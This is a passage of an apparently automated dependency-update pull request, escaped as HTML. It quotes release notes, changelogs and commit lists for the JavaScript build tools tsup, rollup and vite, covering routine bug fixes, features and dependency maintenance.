GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev8.3.4\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003eNo significant changes\u003c/em\u003e\u003c/p\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/egoist/tsup/compare/v8.3.3...v8.3.4\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev8.3.3\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003eNo significant changes\u003c/em\u003e\u003c/p\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/egoist/tsup/compare/v8.3.2...v8.3.3\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev8.3.1\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003ees2024\u003c/code\u003e target  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/4c8cd7f\"\u003e\u003c!-- raw HTML omitted --\u003e(4c8cd)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport TS 5.6 for svelte  -  by \u003ca href=\"https://github.com/sxzz\"\u003e\u003ccode\u003e@​sxzz\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/28b9ce9\"\u003e\u003c!-- raw HTML omitted --\u003e(28b9c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eneutral\u003c/code\u003e value to platform options in \u003ccode\u003eschema.json\u003c/code\u003e  -  by \u003ca href=\"https://github.com/venables\"\u003e\u003ccode\u003e@​venables\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/982\"\u003eegoist/tsup#982\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/a03db4c\"\u003e\u003c!-- raw HTML omitted --\u003e(a03db)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWider restriction for \u003ccode\u003etarget\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/odanado\"\u003e\u003ccode\u003e@​odanado\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1118\"\u003eegoist/tsup#1118\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/1979b06\"\u003e\u003c!-- raw HTML omitted --\u003e(1979b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eterser\u003c/code\u003e value to \u003ccode\u003eminify\u003c/code\u003e option in \u003ccode\u003eschema.json\u003c/code\u003e  -  by \u003ca href=\"https://github.com/damienbutt\"\u003e\u003ccode\u003e@​damienbutt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/991\"\u003eegoist/tsup#991\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/34951bf\"\u003e\u003c!-- raw HTML omitted --\u003e(34951)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChange \u003ccode\u003enewlineKind\u003c/code\u003e to \u003ccode\u003elf\u003c/code\u003e for \u003ccode\u003eexperimentalDts\u003c/code\u003e  -  by \u003ca href=\"https://github.com/aryaemami59\"\u003e\u003ccode\u003e@​aryaemami59\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1234\"\u003eegoist/tsup#1234\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/4584b89\"\u003e\u003c!-- raw HTML omitted --\u003e(4584b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable rollup \u003ccode\u003eoutput.compact\u003c/code\u003e when minify is enabled  -  by \u003ca href=\"https://github.com/hyrious\"\u003e\u003ccode\u003e@​hyrious\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1232\"\u003eegoist/tsup#1232\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/9cc86d6\"\u003e\u003c!-- raw HTML omitted --\u003e(9cc86)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003eNode16\u003c/code\u003e and \u003ccode\u003eNodeNext\u003c/code\u003e module resolution in \u003ccode\u003eexperimentalDts\u003c/code\u003e  -  by \u003ca href=\"https://github.com/aryaemami59\"\u003e\u003ccode\u003e@​aryaemami59\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1225\"\u003eegoist/tsup#1225\u003c/a\u003e \u003ca href=\"https://github.com/egoist/tsup/commit/41c98ff\"\u003e\u003c!-- raw HTML omitted --\u003e(41c98)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/egoist/tsup/compare/v8.3.0...v8.3.1\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev8.3.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/egoist/tsup/compare/v8.2.4...v8.3.0\"\u003e8.3.0\u003c/a\u003e (2024-09-17)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix \u003ccode\u003eexperimentalDts\u003c/code\u003e file cleaning and watching (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1199\"\u003e#1199\u003c/a\u003e) (\u003ca href=\"https://github.com/egoist/tsup/commit/76dc18b7036c408e6fc5254e3eeb3430f65c7866\"\u003e76dc18b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd support for \u003ccode\u003ects\u003c/code\u003e and \u003ccode\u003emts\u003c/code\u003e config files (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1178\"\u003e#1178\u003c/a\u003e) (\u003ca href=\"https://github.com/egoist/tsup/commit/ec811b3b7d22479c230292a024f1dee5d171b0ea\"\u003eec811b3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd support for async \u003ccode\u003einjectStyle\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1193\"\u003e#1193\u003c/a\u003e) (\u003ca href=\"https://github.com/egoist/tsup/commit/f25a9db77d22c91ea8f6bd1ed31ea8415d0a7d5d\"\u003ef25a9db\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev8.2.4\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/egoist/tsup/compare/v8.2.3...v8.2.4\"\u003e8.2.4\u003c/a\u003e (2024-08-02)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/cd03e1e00ec2bd6676ae1837cbc7e618ab6a2362\"\u003e\u003ccode\u003ecd03e1e\u003c/code\u003e\u003c/a\u003e chore: release v8.3.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/fddd451c3d63cd5f851a0e7ab091c0550e24f213\"\u003e\u003ccode\u003efddd451\u003c/code\u003e\u003c/a\u003e fix: run \u003ccode\u003eexperimentalDts\u003c/code\u003e only once (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1236\"\u003e#1236\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/21b119374880e9d9109c5d8658429678a1de8f45\"\u003e\u003ccode\u003e21b1193\u003c/code\u003e\u003c/a\u003e chore: release v8.3.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/580e03dc996107c4790c64df5b9ca6cebb4b7de9\"\u003e\u003ccode\u003e580e03d\u003c/code\u003e\u003c/a\u003e ci: fix release workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/01b38f295f6e1fa240676213817a9d315fdffd60\"\u003e\u003ccode\u003e01b38f2\u003c/code\u003e\u003c/a\u003e chore: release v8.3.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/4f5b71e42887a5147ee6d95d2d7f89f789887f0d\"\u003e\u003ccode\u003e4f5b71e\u003c/code\u003e\u003c/a\u003e ci: fix release workflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/e80dad6889366941e015faadce05cbe2eeca3c17\"\u003e\u003ccode\u003ee80dad6\u003c/code\u003e\u003c/a\u003e chore: release v8.3.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/f4af79a1b890307a28d0d986a0c06dc92192c222\"\u003e\u003ccode\u003ef4af79a\u003c/code\u003e\u003c/a\u003e ci: fix release workflow (\u003ca href=\"https://redirect.github.com/egoist/tsup/issues/1241\"\u003e#1241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/4b72d61a8e7a2e450e71ffe8806739f2e1122f54\"\u003e\u003ccode\u003e4b72d61\u003c/code\u003e\u003c/a\u003e chore: release v8.3.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/egoist/tsup/commit/41c98ff07aa03ef0e9d65407b20c9465acbf0d83\"\u003e\u003ccode\u003e41c98ff\u003c/code\u003e\u003c/a\u003e fix: support \u003ccode\u003eNode16\u003c/code\u003e and \u003ccode\u003eNodeNext\u003c/code\u003e module resolution in \u003ccode\u003eexperimentalDts\u003c/code\u003e (...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/egoist/tsup/compare/v8.0.2...v8.3.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `rollup` from 4.13.0 to 4.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/rollup/rollup/releases\"\u003erollup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.18.0\u003c/h2\u003e\n\u003ch2\u003e4.18.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-05-22\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eResolve import.meta.filename and .dirname in transpiled plugins (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5520\"\u003e#5520\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5504\"\u003e#5504\u003c/a\u003e: Auto generate node index (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5507\"\u003e#5507\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5508\"\u003e#5508\u003c/a\u003e: chore(deps): lock file maintenance (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5510\"\u003e#5510\u003c/a\u003e: Split up converter.rs into AST nodes (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5512\"\u003e#5512\u003c/a\u003e: chore(deps): update dependency builtin-modules to v4 (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5514\"\u003e#5514\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5518\"\u003e#5518\u003c/a\u003e: chore(deps): update dependency eslint-plugin-unicorn to v53 (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5519\"\u003e#5519\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5520\"\u003e#5520\u003c/a\u003e: Resolve import.meta.{filename,dirname} in files imported from config (\u003ca href=\"https://github.com/BPScott\"\u003e\u003ccode\u003e@​BPScott\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5521\"\u003e#5521\u003c/a\u003e: docs: correct base32 to base36 in documentation (\u003ca href=\"https://github.com/highcastlee\"\u003e\u003ccode\u003e@​highcastlee\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.17.2\u003c/h2\u003e\n\u003ch2\u003e4.17.2\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-30\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix tree-shaking problems when using spread arguments (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5503\"\u003e#5503\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5501\"\u003e#5501\u003c/a\u003e: Slightly improve perf report (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5503\"\u003e#5503\u003c/a\u003e: fix: rest element should deoptimize parameter values (\u003ca href=\"https://github.com/liuly0322\"\u003e\u003ccode\u003e@​liuly0322\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.17.1\u003c/h2\u003e\n\u003ch2\u003e4.17.1\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-29\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrevent infinite recursions for certain constructor invocations (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5500\"\u003e#5500\u003c/a\u003e: fix: parameter variable infinite recursion error (\u003ca href=\"https://github.com/liuly0322\"\u003e\u003ccode\u003e@​liuly0322\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.17.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/rollup/rollup/blob/master/CHANGELOG.md\"\u003erollup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.18.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-05-22\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eResolve import.meta.filename and .dirname in transpiled plugins (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5520\"\u003e#5520\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5504\"\u003e#5504\u003c/a\u003e: Auto generate node index (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5507\"\u003e#5507\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5508\"\u003e#5508\u003c/a\u003e: chore(deps): lock file maintenance (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5510\"\u003e#5510\u003c/a\u003e: Split up converter.rs into AST nodes (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5512\"\u003e#5512\u003c/a\u003e: chore(deps): update dependency builtin-modules to v4 (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5514\"\u003e#5514\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5518\"\u003e#5518\u003c/a\u003e: chore(deps): update dependency eslint-plugin-unicorn to v53 (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5519\"\u003e#5519\u003c/a\u003e: chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot], \u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5520\"\u003e#5520\u003c/a\u003e: Resolve import.meta.{filename,dirname} in files imported from config (\u003ca href=\"https://github.com/BPScott\"\u003e\u003ccode\u003e@​BPScott\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5521\"\u003e#5521\u003c/a\u003e: docs: correct base32 to base36 in documentation (\u003ca href=\"https://github.com/highcastlee\"\u003e\u003ccode\u003e@​highcastlee\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.17.2\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-30\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix tree-shaking problems when using spread arguments (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5503\"\u003e#5503\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5501\"\u003e#5501\u003c/a\u003e: Slightly improve perf report (\u003ca href=\"https://github.com/lukastaegert\"\u003e\u003ccode\u003e@​lukastaegert\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5503\"\u003e#5503\u003c/a\u003e: fix: rest element should deoptimize parameter values (\u003ca href=\"https://github.com/liuly0322\"\u003e\u003ccode\u003e@​liuly0322\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.17.1\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-29\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrevent infinite recursions for certain constructor invocations (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePull Requests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/rollup/rollup/pull/5500\"\u003e#5500\u003c/a\u003e: fix: parameter variable infinite recursion error (\u003ca href=\"https://github.com/liuly0322\"\u003e\u003ccode\u003e@​liuly0322\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.17.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2024-04-27\u003c/em\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/bb6f069ea3623b0297ef3895f2dcb98a2ca5ef58\"\u003e\u003ccode\u003ebb6f069\u003c/code\u003e\u003c/a\u003e 4.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/13d8c990f1022222f6faeee03750b28d2811cb76\"\u003e\u003ccode\u003e13d8c99\u003c/code\u003e\u003c/a\u003e docs: correct base32 to base36 in documentation (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5521\"\u003e#5521\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/cc993e767e9ae0449d267d0beebac13c92dcb002\"\u003e\u003ccode\u003ecc993e7\u003c/code\u003e\u003c/a\u003e Resolve import.meta.{filename,dirname} in files imported from config (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5520\"\u003e#5520\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/a25a7795f980a8d2501f4e9acbab4bd049583f6e\"\u003e\u003ccode\u003ea25a779\u003c/code\u003e\u003c/a\u003e Split up converter.rs into AST nodes (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5510\"\u003e#5510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/a9cda1867b3e60851bcc9984d8b0c7cbfa1f229c\"\u003e\u003ccode\u003ea9cda18\u003c/code\u003e\u003c/a\u003e chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5519\"\u003e#5519\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/62c53c931001dec4b55f05dae7e3b5e795095a98\"\u003e\u003ccode\u003e62c53c9\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency eslint-plugin-unicorn to v53 (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5518\"\u003e#5518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/3520da5112f100514bd4ad0c5c6b637eb7961977\"\u003e\u003ccode\u003e3520da5\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency builtin-modules to v4 (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5512\"\u003e#5512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/afdcc8494c9d4d8521af8a01ef10cc6bbb6d7bd0\"\u003e\u003ccode\u003eafdcc84\u003c/code\u003e\u003c/a\u003e chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5514\"\u003e#5514\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/00f06816c773e599573e3ce4704c855dbed19afe\"\u003e\u003ccode\u003e00f0681\u003c/code\u003e\u003c/a\u003e chore(deps): lock file maintenance (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5508\"\u003e#5508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rollup/rollup/commit/786566c2e88438a2f7b68d670f6dbd9f106c572d\"\u003e\u003ccode\u003e786566c\u003c/code\u003e\u003c/a\u003e chore(deps): lock file maintenance minor/patch updates (\u003ca href=\"https://redirect.github.com/rollup/rollup/issues/5507\"\u003e#5507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/rollup/rollup/compare/v4.13.0...v4.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 5.4.14 to 5.4.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.4.21\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.21/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.20\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/ca88ed7398288ce0c60176ac9a6392f10654c67c/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.19\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.19/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.18\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.18/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.17\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.17/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.16\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca 